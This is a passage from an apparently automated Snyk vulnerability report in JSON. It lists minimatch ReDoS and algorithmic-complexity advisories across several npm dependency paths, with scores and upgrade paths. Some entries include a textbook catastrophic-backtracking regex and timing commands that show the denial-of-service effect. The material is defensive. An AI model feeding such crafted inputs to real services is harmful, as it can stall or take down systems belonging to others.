7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmaccess@10.0.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmaccess@10.0.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmaccess@10.0.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmaccess@10.0.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmorg@8.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmorg@8.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmorg@8.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmorg@8.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": 